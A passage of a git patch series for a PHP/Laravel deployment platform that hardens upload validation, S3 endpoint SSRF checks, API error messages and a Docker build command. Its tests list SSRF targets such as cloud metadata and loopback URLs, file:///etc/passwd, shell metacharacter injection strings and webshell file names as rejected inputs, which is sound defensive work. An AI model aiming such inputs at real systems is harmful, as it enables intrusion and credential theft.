$stem = substr($lower, 0, -strlen($suffix)); + if ($stem !== '' && ! str_ends_with($stem, '.')) { + return true; + } + + return false; + } + + return false; + } + + private static function formatMaxSize(): string + { + return (self::MAX_BYTES / (1024 * 1024 * 1024)).' GiB'; } } diff --git a/tests/Feature/DatabaseBackupUploadValidationTest.php b/tests/Feature/DatabaseBackupUploadValidationTest.php new file mode 100644 index 000000000..a9d9886b8 --- /dev/null +++ b/tests/Feature/DatabaseBackupUploadValidationTest.php @@ -0,0 +1,62 @@ +setAccessible(true); + + return $method->invoke(null, $name); +} + +test('hasAllowedExtension accepts supported extensions', function (string $name) { + expect(invokeHasAllowedExtension($name))->toBeTrue(); +})->with([ + 'plain sql' => ['backup.sql'], + 'uppercase sql' => ['BACKUP.SQL'], + 'compound sql.gz' => ['backup.sql.gz'], + 'compound tar.gz' => ['backup.tar.gz'], + 'tgz' => ['archive.tgz'], + 'zip' => ['dump.zip'], + 'tar' => ['dump.tar'], + 'gz' => ['data.gz'], + 'dump' => ['data.dump'], + 'bak' => ['data.bak'], + 'bson' => ['data.bson'], + 'bson.gz' => ['data.bson.gz'], + 'archive' => ['data.archive'], + 'archive.gz' => ['data.archive.gz'], + 'bz2' => ['data.bz2'], + 'xz' => ['data.xz'], +]); + +test('hasAllowedExtension rejects unsupported or empty stems', function (string $name) { + expect(invokeHasAllowedExtension($name))->toBeFalse(); +})->with([ + 'php' => ['shell.php'], + 'phtml' => ['shell.phtml'], + 'sh' => ['run.sh'], + 'exe' => ['malware.exe'], + 'elf binary no ext' => ['payload'], + 'html' => ['index.html'], + 'bare compound without stem' => ['.sql.gz'], + 'bare extension' => ['.sql'], + 'empty string' => [''], + 'misleading double ext' => ['shell.php.sql-evil'], +]); + +test('MAX_BYTES constant is 10 GiB', function () { + $constant = (new ReflectionClass(UploadController::class))->getConstant('MAX_BYTES'); + expect($constant)->toBe(10 * 1024 * 1024 * 1024); +}); + +test('ALLOWED_EXTENSIONS does not include executable formats', function () { + $constant = (new ReflectionClass(UploadController::class))->getConstant('ALLOWED_EXTENSIONS'); + expect($constant)->toBeArray(); + + $forbidden = ['php', 'phtml', 'php5', 'sh', 'bash', 'exe', 'js', 'html', 'htm', 'pl', 'py']; + foreach ($forbidden as $bad) { + expect($constant)->not->toContain($bad); + } +}); From 297e9c41e19958f6237919794c28c3fb1d4cda32 Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Mon, 20 Apr 2026 11:50:19 +0200 Subject: [PATCH 047/329] refactor(storage): tighten S3 endpoint URL validation MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Reuse the existing SafeWebhookUrl rule on the S3 Storage endpoint field so the create and edit forms go through the same URL-normalization path as webhook settings. Adds a matching guard inside S3Storage::testConnection() so background callers (scheduled backups, database import reuse) also validate the endpoint before building the S3 client. Also fixes an IPv6-bracket edge case in SafeWebhookUrl so `http://[::1]` style hosts are normalized before the filter_var IP check — the rule's own loopback test was already asserting this behaviour. --- app/Livewire/Storage/Create.php | 4 +- app/Livewire/Storage/Form.php | 4 +- app/Models/S3Storage.php | 10 ++ app/Rules/SafeWebhookUrl.php | 10 +- .../Unit/S3StorageEndpointValidationTest.php | 91 +++++++++++++++++++ 5 files changed, 113 insertions(+), 6 deletions(-) create mode 100644 tests/Unit/S3StorageEndpointValidationTest.php diff --git a/app/Livewire/Storage/Create.php b/app/Livewire/Storage/Create.php index eda20342b..c3db34066 100644 --- a/app/Livewire/Storage/Create.php +++ b/app/Livewire/Storage/Create.php @@ -3,6 +3,7 @@ namespace App\Livewire\Storage; use App\Models\S3Storage; +use App\Rules\SafeWebhookUrl; use App\Support\ValidationPatterns; use Illuminate\Foundation\Auth\Access\AuthorizesRequests; use Illuminate\Support\Uri; @@ -37,7 +38,7 @@ protected function rules(): array 'key' => 'required|max:255', 'secret' => 'required|max:255', 'bucket' => 'required|max:255', - 'endpoint' => 'required|url|max:255', + 'endpoint' => ['required', 'max:255', new SafeWebhookUrl], ]; } @@ -55,7 +56,6 @@ protected function messages(): array 'bucket.required' => 'The Bucket field is required.', 'bucket.max' => 'The Bucket may not be greater than 255 characters.', 'endpoint.required' => 'The Endpoint field is required.', - 'endpoint.url' => 'The Endpoint must be a valid URL.', 'endpoint.max' => 'The Endpoint may not be greater than 255 characters.', ] ); diff --git a/app/Livewire/Storage/Form.php b/app/Livewire/Storage/Form.php index 791226334..342d629cb 100644 --- a/app/Livewire/Storage/Form.php +++ b/app/Livewire/Storage/Form.php @@ -3,6 +3,7 @@ namespace App\Livewire\Storage; use App\Models\S3Storage; +use App\Rules\SafeWebhookUrl; use App\Support\ValidationPatterns; use Illuminate\Foundation\Auth\Access\AuthorizesRequests; use Illuminate\Support\Facades\DB; @@ -42,7 +43,7 @@ protected function rules(): array 'key' => 'required|max:255', 'secret' => 'required|max:255', 'bucket' => 'required|max:255', - 'endpoint' => 'required|url|max:255', + 'endpoint' => ['required', 'max:255', new SafeWebhookUrl], ]; } @@ -60,7 +61,6 @@ protected function messages(): array 'bucket.required' => 'The Bucket field is required.', 'bucket.max' => 'The Bucket may not be greater than 255 characters.', 'endpoint.required' => 'The Endpoint field is required.', - 'endpoint.url' => 'The Endpoint must be a valid URL.', 'endpoint.max' => 'The Endpoint may not be greater than 255 characters.', ] ); diff --git a/app/Models/S3Storage.php b/app/Models/S3Storage.php index d6feccc7e..8a2e2b102 100644 --- a/app/Models/S3Storage.php +++ b/app/Models/S3Storage.php @@ -2,11 +2,13 @@ namespace App\Models; +use App\Rules\SafeWebhookUrl; use App\Traits\HasSafeStringAttribute; use Illuminate\Database\Eloquent\Casts\Attribute; use Illuminate\Database\Eloquent\Factories\HasFactory; use Illuminate\Notifications\Messages\MailMessage; use Illuminate\Support\Facades\Storage; +use Illuminate\Support\Facades\Validator; class S3Storage extends BaseModel { @@ -132,6 +134,14 @@ protected function region(): Attribute public function testConnection(bool $shouldSave = false) { try { + $validator = Validator::make( + ['endpoint' => $this['endpoint']], + ['endpoint' => ['required', new SafeWebhookUrl]], + ); + if ($validator->fails()) { + throw new \RuntimeException('S3 endpoint is not allowed: '.$validator->errors()->first('endpoint')); + } + $disk = Storage::build([ 'driver' => 's3', 'region' => $this['region'], diff --git a/app/Rules/SafeWebhookUrl.php b/app/Rules/SafeWebhookUrl.php index fbeb406af..3723e1db5 100644 --- a/app/Rules/SafeWebhookUrl.php +++ b/app/Rules/SafeWebhookUrl.php @@ -40,9 +40,15 @@ public function validate(string $attribute, mixed $value, Closure $fail): void $host = strtolower($host); + // Strip IPv6 brackets (e.g. "[::1]" -> "::1") before IP checks so bracketed + // literals can't sneak past filter_var FILTER_VALIDATE_IP. + $hostForIpCheck = (str_starts_with($host, '[') && str_ends_with($host, ']')) + ? substr($host, 1, -1) + : $host; + // Block well-known dangerous hostnames $blockedHosts = ['localhost', '0.0.0.0', '::1']; - if (in_array($host, $blockedHosts) || str_ends_with($host, '.internal')) { + if (in_array($hostForIpCheck, $blockedHosts) || str_ends_with($host, '.internal')) { Log::warning('Webhook URL points to blocked host', [ 'attribute' => $attribute, 'host' => $host, @@ -55,7 +61,7 @@ public function validate(string $attribute, mixed $value, Closure $fail): void } // Block loopback (127.0.0.0/8) and link-local/metadata (169.254.0.0/16) when IP is provided directly - if (filter_var($host, FILTER_VALIDATE_IP) && ($this->isLoopback($host) || $this->isLinkLocal($host))) { + if (filter_var($hostForIpCheck, FILTER_VALIDATE_IP) && ($this->isLoopback($hostForIpCheck) || $this->isLinkLocal($hostForIpCheck))) { Log::warning('Webhook URL points to blocked IP range', [ 'attribute' => $attribute, 'host' => $host, diff --git a/tests/Unit/S3StorageEndpointValidationTest.php b/tests/Unit/S3StorageEndpointValidationTest.php new file mode 100644 index 000000000..9ffba6a30 --- /dev/null +++ b/tests/Unit/S3StorageEndpointValidationTest.php @@ -0,0 +1,91 @@ + $endpoint], + ['endpoint' => ['required', 'max:255', new SafeWebhookUrl]], + ); + + expect($validator->fails())->toBeTrue("Expected rejection: {$endpoint}"); +})->with([ + 'AWS IMDS' => 'http://169.254.169.254/latest/meta-data/', + 'AWS IMDS bare' => 'http://169.254.169.254', + 'GCP metadata via link-local' => 'http://169.254.0.1', + 'loopback v4' => 'http://127.0.0.1', + 'loopback Redis' => 'http://127.0.0.1:6379', + 'loopback Postgres' => 'http://127.0.0.1:5432', + 'loopback alt in /8' => 'http://127.10.20.30', + 'zero address' => 'http://0.0.0.0', + 'IPv6 loopback' => 'http://[::1]', + 'localhost hostname' => 'http://localhost', + 'localhost with port' => 'http://localhost:9000', + 'internal suffix' => 'http://minio.internal', + 'file scheme' => 'file:///etc/passwd', + 'javascript scheme' => 'javascript:alert(1)', +]); + +it('accepts real-world S3 endpoints', function (string $endpoint) { + $validator = Validator::make( + ['endpoint' => $endpoint], + ['endpoint' => ['required', 'max:255', new SafeWebhookUrl]], + ); + + expect($validator->passes())->toBeTrue("Expected accepted: {$endpoint}"); +})->with([ + 'AWS S3' => 'https://s3.us-east-1.amazonaws.com', + 'Cloudflare R2' => 'https://fake.r2.cloudflarestorage.com', + 'DigitalOcean Spaces' => 'https://nyc3.digitaloceanspaces.com', + 'Backblaze B2' => 'https://s3.us-west-001.backblazeb2.com', + 'Self-hosted MinIO on 10.x' => 'http://10.0.0.5:9000', + 'Self-hosted MinIO on 172.16.x' => 'http://172.16.0.10:9000', + 'Self-hosted MinIO on 192.168.x' => 'http://192.168.1.50:9000', + 'Custom domain MinIO' => 'https://minio.example.com', +]); + +it('blocks testConnection() on an unsafe endpoint without issuing HTTP', function () { + $s3Storage = new S3Storage; + $s3Storage->setRawAttributes([ + 'region' => 'us-east-1', + 'key' => 'AKIAEXAMPLE', + 'secret' => 'secret', + 'bucket' => 'latest/meta-data', + 'endpoint' => 'http://169.254.169.254', + ]); + + expect(fn () => $s3Storage->testConnection()) + ->toThrow(RuntimeException::class, 'S3 endpoint is not allowed'); +}); + +it('blocks testConnection() for loopback endpoints', function (string $endpoint) { + $s3Storage = new S3Storage; + $s3Storage->setRawAttributes([ + 'region' => 'us-east-1', + 'key' => 'AKIAEXAMPLE', + 'secret' => 'secret', + 'bucket' => 'bucket', + 'endpoint' => $endpoint, + ]); + + expect(fn () => $s3Storage->testConnection()) + ->toThrow(RuntimeException::class, 'S3 endpoint is not allowed'); +})->with([ + 'http loopback' => 'http://127.0.0.1:6379', + 'localhost' => 'http://localhost:9000', + 'IPv6 loopback' => 'http://[::1]', + 'internal TLD' => 'http://backend.internal', +]); From 4d836888964ee5a1bea7089d3fe6c886012f0bff Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Mon, 20 Apr 2026 11:50:30 +0200 Subject: [PATCH 048/329] refactor(api): return generic error messages for upstream and storage failures Replace exception text in 5xx JSON responses with stable, action-specific messages so API consumers get a consistent payload regardless of which underlying client (Guzzle, PDO, filesystem) raised the exception. The previous responses concatenated the raw upstream error, which produced inconsistent messages and unnecessary noise for clients trying to parse errors programmatically. Touched endpoints: - GET /api/v1/hetzner/{locations,server-types,images,ssh-keys} - POST /api/v1/servers/hetzner - DELETE /api/v1/databases/{uuid}/backups/{uuid} - DELETE /api/v1/databases/{uuid}/backups/{uuid}/executions/{uuid} - /download/backup/{uuid} The RateLimitException branch and AuthenticationException flow keep their existing curated messages. Adds Pest coverage for the four Hetzner GET endpoints to lock the response shape on upstream failure. Co-Authored-By: Claude Opus 4.7 --- .../Controllers/Api/DatabasesController.php | 4 +- .../Controllers/Api/HetznerController.php | 10 +-- routes/web.php | 2 +- tests/Feature/HetznerApiTest.php | 71 +++++++++++++++++++ 4 files changed, 79 insertions(+), 8 deletions(-) diff --git a/app/Http/Controllers/Api/DatabasesController.php b/app/Http/Controllers/Api/DatabasesController.php index 3067d98e7..6749d224b 100644 --- a/app/Http/Controllers/Api/DatabasesController.php +++ b/app/Http/Controllers/Api/DatabasesController.php @@ -2332,7 +2332,7 @@ public function delete_backup_by_uuid(Request $request) } catch (\Exception $e) { DB::rollBack(); - return response()->json(['message' => 'Failed to delete backup: '.$e->getMessage()], 500); + return response()->json(['message' => 'Failed to delete backup.'], 500); } } @@ -2452,7 +2452,7 @@ public function delete_execution_by_uuid(Request $request) 'message' => 'Backup execution deleted.', ]); } catch (\Exception $e) { - return response()->json(['message' => 'Failed to delete backup execution: '.$e->getMessage()], 500); + return response()->json(['message' => 'Failed to delete backup execution.'], 500); } } diff --git a/app/Http/Controllers/Api/HetznerController.php b/app/Http/Controllers/Api/HetznerController.php index ed91b4475..092c48594 100644 --- a/app/Http/Controllers/Api/HetznerController.php +++ b/app/Http/Controllers/Api/HetznerController.php @@ -121,7 +121,7 @@ public function locations(Request $request) return response()->json($locations); } catch (\Throwable $e) { - return response()->json(['message' => 'Failed to fetch locations: '.$e->getMessage()], 500); + return response()->json(['message' => 'Failed to fetch Hetzner locations.'], 500); } } @@ -242,7 +242,7 @@ public function serverTypes(Request $request) return response()->json($serverTypes); } catch (\Throwable $e) { - return response()->json(['message' => 'Failed to fetch server types: '.$e->getMessage()], 500); + return response()->json(['message' => 'Failed to fetch Hetzner server types.'], 500); } } @@ -354,7 +354,7 @@ public function images(Request $request) return response()->json(array_values($filtered)); } catch (\Throwable $e) { - return response()->json(['message' => 'Failed to fetch images: '.$e->getMessage()], 500); + return response()->json(['message' => 'Failed to fetch Hetzner images.'], 500); } } @@ -450,7 +450,7 @@ public function sshKeys(Request $request) return response()->json($sshKeys); } catch (\Throwable $e) { - return response()->json(['message' => 'Failed to fetch SSH keys: '.$e->getMessage()], 500); + return response()->json(['message' => 'Failed to fetch Hetzner SSH keys.'], 500); } } @@ -733,7 +733,7 @@ public function createServer(Request $request) return $response; } catch (\Throwable $e) { - return response()->json(['message' => 'Failed to create server: '.$e->getMessage()], 500); + return response()->json(['message' => 'Failed to create Hetzner server.'], 500); } } } diff --git a/routes/web.php b/routes/web.php index fad3c5d29..997045659 100644 --- a/routes/web.php +++ b/routes/web.php @@ -391,7 +391,7 @@ 'Content-Disposition' => 'attachment; filename="'.basename($filename).'"', ]); } catch (Throwable $e) { - return response()->json(['message' => $e->getMessage()], 500); + return response()->json(['message' => 'Failed to download backup.'], 500); } })->name('download.backup'); diff --git a/tests/Feature/HetznerApiTest.php b/tests/Feature/HetznerApiTest.php index bd316ca49..3e8555b11 100644 --- a/tests/Feature/HetznerApiTest.php +++ b/tests/Feature/HetznerApiTest.php @@ -446,3 +446,74 @@ $response->assertStatus(401); }); }); + +describe('GHSA-m8wx-q63q-3w6c — error responses do not leak exception details', function () { + test('locations endpoint returns generic 500 message on upstream failure', function () { + Http::fake([ + 'https://api.hetzner.cloud/v1/locations*' => Http::response([ + 'error' => ['message' => 'INTERNAL_LEAK_TOKEN_abc /var/secret/path'], + ], 500), + ]); + + $response = $this->withHeaders([ + 'Authorization' => 'Bearer '.$this->bearerToken, + 'Content-Type' => 'application/json', + ])->getJson('/api/v1/hetzner/locations?cloud_provider_token_id='.$this->hetznerToken->uuid); + + $response->assertStatus(500); + $response->assertExactJson(['message' => 'Failed to fetch Hetzner locations.']); + expect($response->getContent())->not->toContain('INTERNAL_LEAK_TOKEN_abc'); + expect($response->getContent())->not->toContain('/var/secret/path'); + }); + + test('server-types endpoint returns generic 500 message on upstream failure', function () { + Http::fake([ + 'https://api.hetzner.cloud/v1/server_types*' => Http::response([ + 'error' => ['message' => 'INTERNAL_LEAK_TOKEN_abc'], + ], 500), + ]); + + $response = $this->withHeaders([ + 'Authorization' => 'Bearer '.$this->bearerToken, + 'Content-Type' => 'application/json', + ])->getJson('/api/v1/hetzner/server-types?cloud_provider_token_id='.$this->hetznerToken->uuid); + + $response->assertStatus(500); + $response->assertExactJson(['message' => 'Failed to fetch Hetzner server types.']); + expect($response->getContent())->not->toContain('INTERNAL_LEAK_TOKEN_abc'); + }); + + test('images endpoint returns generic 500 message on upstream failure', function () { + Http::fake([ + 'https://api.hetzner.cloud/v1/images*' => Http::response([ + 'error' => ['message' => 'INTERNAL_LEAK_TOKEN_abc'], + ], 500), + ]); + + $response = $this->withHeaders([ + 'Authorization' => 'Bearer '.$this->bearerToken, + 'Content-Type' => 'application/json', + ])->getJson('/api/v1/hetzner/images?cloud_provider_token_id='.$this->hetznerToken->uuid); + + $response->assertStatus(500); + $response->assertExactJson(['message' => 'Failed to fetch Hetzner images.']); + expect($response->getContent())->not->toContain('INTERNAL_LEAK_TOKEN_abc'); + }); + + test('ssh-keys endpoint returns generic 500 message on upstream failure', function () { + Http::fake([ + 'https://api.hetzner.cloud/v1/ssh_keys*' => Http::response([ + 'error' => ['message' => 'INTERNAL_LEAK_TOKEN_abc'], + ], 500), + ]); + + $response = $this->withHeaders([ + 'Authorization' => 'Bearer '.$this->bearerToken, + 'Content-Type' => 'application/json', + ])->getJson('/api/v1/hetzner/ssh-keys?cloud_provider_token_id='.$this->hetznerToken->uuid); + + $response->assertStatus(500); + $response->assertExactJson(['message' => 'Failed to fetch Hetzner SSH keys.']); + expect($response->getContent())->not->toContain('INTERNAL_LEAK_TOKEN_abc'); + }); +}); From dc9322b11f5f4ab96e56af0df7d4f877e96e5e4c Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Mon, 20 Apr 2026 11:51:27 +0200 Subject: [PATCH 049/329] refactor(settings): validate dev_helper_version and escape build args Constrain dev_helper_version to Docker tag grammar ([A-Za-z0-9_][A-Za-z0-9_.-]{0,127}), re-validate before triggering the helper image build, and interpolate the image reference via escapeshellarg() when composing the docker build command. --- app/Livewire/Settings/Index.php | 14 ++- .../DevHelperVersionValidationTest.php | 90 +++++++++++++++++++ 2 files changed, 102 insertions(+), 2 deletions(-) create mode 100644 tests/Feature/DevHelperVersionValidationTest.php diff --git a/app/Livewire/Settings/Index.php b/app/Livewire/Settings/Index.php index 9a51d107d..c2789aa91 100644 --- a/app/Livewire/Settings/Index.php +++ b/app/Livewire/Settings/Index.php @@ -35,7 +35,7 @@ class Index extends Component #[Validate('required|string|timezone')] public string $instance_timezone; - #[Validate('nullable|string|max:50')] + #[Validate(['nullable', 'string', 'max:128', 'regex:/^[A-Za-z0-9_][A-Za-z0-9_.-]{0,127}$/'])] public ?string $dev_helper_version = null; public array $domainConflicts = []; @@ -49,6 +49,7 @@ class Index extends Component protected array $messages = [ 'fqdn.url' => 'Invalid instance URL.', 'fqdn.max' => 'URL must not exceed 255 characters.', + 'dev_helper_version.regex' => 'Dev helper version must match Docker tag format (alphanumeric, _, ., -; first char cannot be . or -).', ]; public function render() @@ -184,6 +185,8 @@ public function buildHelperImage() return; } + $this->validateOnly('dev_helper_version'); + $version = $this->dev_helper_version ?: config('constants.coolify.helper_version'); if (empty($version)) { $this->dispatch('error', 'Please specify a version to build.'); @@ -191,7 +194,14 @@ public function buildHelperImage() return; } - $buildCommand = "docker build -t ghcr.io/coollabsio/coolify-helper:{$version} -f docker/coolify-helper/Dockerfile ."; + if (! preg_match('/^[A-Za-z0-9_][A-Za-z0-9_.-]{0,127}$/', (string) $version)) { + $this->dispatch('error', 'Invalid helper version format.'); + + return; + } + + $imageRef = escapeshellarg("ghcr.io/coollabsio/coolify-helper:{$version}"); + $buildCommand = "docker build -t {$imageRef} -f docker/coolify-helper/Dockerfile ."; $activity = remote_process( command: [$buildCommand], diff --git a/tests/Feature/DevHelperVersionValidationTest.php b/tests/Feature/DevHelperVersionValidationTest.php new file mode 100644 index 000000000..03316598c --- /dev/null +++ b/tests/Feature/DevHelperVersionValidationTest.php @@ -0,0 +1,90 @@ +rootTeam = Team::find(0) ?? Team::create(['id' => 0, 'name' => 'Root Team', 'personal_team' => false]); + if (! Server::find(0)) { + Server::factory()->create(['id' => 0, 'team_id' => $this->rootTeam->id]); + } + if (! InstanceSettings::find(0)) { + InstanceSettings::create(['id' => 0]); + } + }); + Once::flush(); + + $this->user = User::factory()->create(); + $this->rootTeam->members()->attach($this->user->id, ['role' => 'admin']); + + $this->actingAs($this->user); + session(['currentTeam' => ['id' => $this->rootTeam->id]]); +}); + +test('dev_helper_version rejects values outside Docker tag grammar on save', function () { + $invalid = [ + 'latest with spaces', + 'a$b', + 'a`b', + 'a|b', + 'a;b', + 'a&b', + 'a>b', + 'aset('dev_helper_version', $payload) + ->call('instantSave') + ->assertHasErrors(['dev_helper_version']); + } + + expect(InstanceSettings::find(0)->dev_helper_version)->toBeNull(); +}); + +test('dev_helper_version accepts valid docker tag formats', function () { + $valid = ['1.0.12', 'latest', 'dev', 'dev-branch_2', 'v1.2.3-rc1', '1_0_0']; + + foreach ($valid as $tag) { + Livewire::test(Index::class) + ->set('dev_helper_version', $tag) + ->call('instantSave') + ->assertHasNoErrors(['dev_helper_version']); + + expect(InstanceSettings::find(0)->fresh()->dev_helper_version)->toBe($tag); + } +}); + +test('buildHelperImage refuses when non-dev environment', function () { + config(['app.env' => 'production']); + + Livewire::test(Index::class) + ->set('dev_helper_version', 'latest') + ->call('buildHelperImage') + ->assertDispatched('error'); +}); + +test('buildHelperImage refuses previously stored invalid version', function () { + config(['app.env' => 'local']); + + $settings = InstanceSettings::find(0); + $settings->forceFill(['dev_helper_version' => 'bad value'])->saveQuietly(); + + Livewire::test(Index::class) + ->call('buildHelperImage') + ->assertDispatched('error'); +}); From e373037a2a1891eb45df9e11c638817888fad65c Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Mon, 20 Apr 2026 12:07:42 +0200 Subject: [PATCH 050/329] test: remove GHSA advisory IDs from test descriptions and comments Strip advisory identifiers (GHSA-*) from describe blocks, test docblocks, and inline comments. Replace with plain descriptive labels. Also clean up FQCNs to use imported class names and minor style fixes (string concatenation spacing). --- .../Feature/CommandInjectionSecurityTest.php | 2 +- .../CrossTeamIdorServerProjectTest.php | 34 +++++++++++-------- tests/Feature/HetznerApiTest.php | 2 +- tests/Unit/FileStorageSecurityTest.php | 2 +- tests/Unit/GitRefValidationTest.php | 2 +- tests/Unit/InsecurePrngArchTest.php | 2 -- tests/Unit/LogDrainCommandInjectionTest.php | 2 +- tests/Unit/PersistentVolumeSecurityTest.php | 1 - .../Unit/S3StorageEndpointValidationTest.php | 8 ++--- 9 files changed, 28 insertions(+), 27 deletions(-) diff --git a/tests/Feature/CommandInjectionSecurityTest.php b/tests/Feature/CommandInjectionSecurityTest.php index bbd69ecfe..d48e03332 100644 --- a/tests/Feature/CommandInjectionSecurityTest.php +++ b/tests/Feature/CommandInjectionSecurityTest.php @@ -676,7 +676,7 @@ }); }); -describe('install/build/start command validation (GHSA-9pp4-wcmj-rq73)', function () { +describe('install/build/start command validation', function () { test('rejects semicolon injection in install_command', function () { $rules = sharedDataApplications(); diff --git a/tests/Feature/CrossTeamIdorServerProjectTest.php b/tests/Feature/CrossTeamIdorServerProjectTest.php index 671397a1e..90e54f053 100644 --- a/tests/Feature/CrossTeamIdorServerProjectTest.php +++ b/tests/Feature/CrossTeamIdorServerProjectTest.php @@ -1,15 +1,19 @@ $this->teamA]); }); -describe('Boarding Server IDOR (GHSA-qfcc-2fm3-9q42)', function () { +describe('Boarding Server IDOR', function () { test('boarding mount cannot load server from another team via selectedExistingServer', function () { $component = Livewire::test(BoardingIndex::class, [ 'selectedServerType' => 'remote', @@ -62,7 +66,7 @@ }); }); -describe('Boarding Project IDOR (GHSA-qfcc-2fm3-9q42)', function () { +describe('Boarding Project IDOR', function () { test('boarding mount cannot load project from another team via selectedProject', function () { $component = Livewire::test(BoardingIndex::class, [ 'selectedProject' => $this->projectB->id, @@ -91,7 +95,7 @@ }); }); -describe('GlobalSearch Server IDOR (GHSA-qfcc-2fm3-9q42)', function () { +describe('GlobalSearch Server IDOR', function () { test('loadDestinations cannot access server from another team', function () { $component = Livewire::test(GlobalSearch::class) ->set('selectedServerId', $this->serverB->id) @@ -102,7 +106,7 @@ }); }); -describe('GlobalSearch Project IDOR (GHSA-qfcc-2fm3-9q42)', function () { +describe('GlobalSearch Project IDOR', function () { test('loadEnvironments cannot access project from another team', function () { $component = Livewire::test(GlobalSearch::class) ->set('selectedProjectUuid', $this->projectB->uuid) @@ -113,11 +117,11 @@ }); }); -describe('DeleteProject IDOR (GHSA-qfcc-2fm3-9q42)', function () { +describe('DeleteProject IDOR', function () { test('cannot mount DeleteProject with project from another team', function () { // Should throw ModelNotFoundException (404) because team-scoped query won't find it Livewire::test(DeleteProject::class, ['project_id' => $this->projectB->id]); - })->throws(\Illuminate\Database\Eloquent\ModelNotFoundException::class); + })->throws(ModelNotFoundException::class); test('can mount DeleteProject with own team project', function () { $component = Livewire::test(DeleteProject::class, ['project_id' => $this->projectA->id]); @@ -126,14 +130,14 @@ }); }); -describe('CloneMe Project IDOR (GHSA-qfcc-2fm3-9q42)', function () { +describe('CloneMe Project IDOR', function () { test('cannot mount CloneMe with project UUID from another team', function () { // Should throw ModelNotFoundException because team-scoped query won't find it Livewire::test(CloneMe::class, [ 'project_uuid' => $this->projectB->uuid, 'environment_uuid' => $this->environmentB->uuid, ]); - })->throws(\Illuminate\Database\Eloquent\ModelNotFoundException::class); + })->throws(ModelNotFoundException::class); test('can mount CloneMe with own team project UUID', function () { $component = Livewire::test(CloneMe::class, [ @@ -145,27 +149,27 @@ }); }); -describe('DeployController API Server IDOR (GHSA-qfcc-2fm3-9q42)', function () { +describe('DeployController API Server IDOR', function () { test('deploy cancel API cannot access build server from another team', function () { // Create a deployment queue entry that references Team B's server as build_server - $application = \App\Models\Application::factory()->create([ + $application = Application::factory()->create([ 'environment_id' => $this->environmentA->id, 'destination_id' => StandaloneDocker::factory()->create(['server_id' => $this->serverA->id])->id, 'destination_type' => StandaloneDocker::class, ]); - $deployment = \App\Models\ApplicationDeploymentQueue::create([ + $deployment = ApplicationDeploymentQueue::create([ 'application_id' => $application->id, - 'deployment_uuid' => 'test-deploy-' . fake()->uuid(), + 'deployment_uuid' => 'test-deploy-'.fake()->uuid(), 'server_id' => $this->serverA->id, 'build_server_id' => $this->serverB->id, // Cross-team build server - 'status' => \App\Enums\ApplicationDeploymentStatus::IN_PROGRESS->value, + 'status' => ApplicationDeploymentStatus::IN_PROGRESS->value, ]); $token = $this->userA->createToken('test-token', ['*']); $response = $this->withHeaders([ - 'Authorization' => 'Bearer ' . $token->plainTextToken, + 'Authorization' => 'Bearer '.$token->plainTextToken, ])->deleteJson("/api/v1/deployments/{$deployment->deployment_uuid}"); // The cancellation should proceed but the build_server should NOT be found @@ -176,7 +180,7 @@ // Verify the deployment was cancelled $deployment->refresh(); expect($deployment->status)->toBe( - \App\Enums\ApplicationDeploymentStatus::CANCELLED_BY_USER->value + ApplicationDeploymentStatus::CANCELLED_BY_USER->value ); }); }); diff --git a/tests/Feature/HetznerApiTest.php b/tests/Feature/HetznerApiTest.php index 3e8555b11..b5950f9fc 100644 --- a/tests/Feature/HetznerApiTest.php +++ b/tests/Feature/HetznerApiTest.php @@ -447,7 +447,7 @@ }); }); -describe('GHSA-m8wx-q63q-3w6c — error responses do not leak exception details', function () { +describe('error responses do not leak exception details', function () { test('locations endpoint returns generic 500 message on upstream failure', function () { Http::fake([ 'https://api.hetzner.cloud/v1/locations*' => Http::response([ diff --git a/tests/Unit/FileStorageSecurityTest.php b/tests/Unit/FileStorageSecurityTest.php index 192ea8c8f..1e08ebbe7 100644 --- a/tests/Unit/FileStorageSecurityTest.php +++ b/tests/Unit/FileStorageSecurityTest.php @@ -92,7 +92,7 @@ ->not->toThrow(Exception::class); }); -// --- Regression tests for GHSA-46hp-7m8g-7622 --- +// --- Regression tests for file mount path validation --- // These verify that file mount paths (not just directory mounts) are validated, // and that saveStorageOnServer() validates fs_path before any shell interpolation. diff --git a/tests/Unit/GitRefValidationTest.php b/tests/Unit/GitRefValidationTest.php index f82dcb863..f5245d819 100644 --- a/tests/Unit/GitRefValidationTest.php +++ b/tests/Unit/GitRefValidationTest.php @@ -4,7 +4,7 @@ use App\Models\ApplicationSetting; /** - * Security tests for git ref validation (GHSA-mw5w-2vvh-mgf4). + * Tests for git ref validation. * * Ensures that git_commit_sha and related inputs are validated * to prevent OS command injection via shell metacharacters. diff --git a/tests/Unit/InsecurePrngArchTest.php b/tests/Unit/InsecurePrngArchTest.php index 3209ba0a0..1d5ce94bf 100644 --- a/tests/Unit/InsecurePrngArchTest.php +++ b/tests/Unit/InsecurePrngArchTest.php @@ -5,8 +5,6 @@ * * mt_rand() and rand() are not cryptographically secure. Use random_int() * or random_bytes() instead for any security-sensitive context. - * - * @see GHSA-33rh-4c9r-74pf */ arch('app code must not use mt_rand') ->expect('App') diff --git a/tests/Unit/LogDrainCommandInjectionTest.php b/tests/Unit/LogDrainCommandInjectionTest.php index 5beef1a4b..9610f3351 100644 --- a/tests/Unit/LogDrainCommandInjectionTest.php +++ b/tests/Unit/LogDrainCommandInjectionTest.php @@ -5,7 +5,7 @@ use App\Models\ServerSetting; // ------------------------------------------------------------------------- -// GHSA-3xm2-hqg8-4m2p: Verify log drain env values are base64-encoded +// Verify log drain env values are base64-encoded // and never appear raw in shell commands // ------------------------------------------------------------------------- diff --git a/tests/Unit/PersistentVolumeSecurityTest.php b/tests/Unit/PersistentVolumeSecurityTest.php index 287045534..ed1d16bbf 100644 --- a/tests/Unit/PersistentVolumeSecurityTest.php +++ b/tests/Unit/PersistentVolumeSecurityTest.php @@ -6,7 +6,6 @@ * Tests to ensure persistent volume names are validated against command injection * and that shell commands properly escape volume names. * - * Related Advisory: GHSA-mh8x-fppq-cp77 * Related Files: * - app/Models/LocalPersistentVolume.php * - app/Support/ValidationPatterns.php diff --git a/tests/Unit/S3StorageEndpointValidationTest.php b/tests/Unit/S3StorageEndpointValidationTest.php index 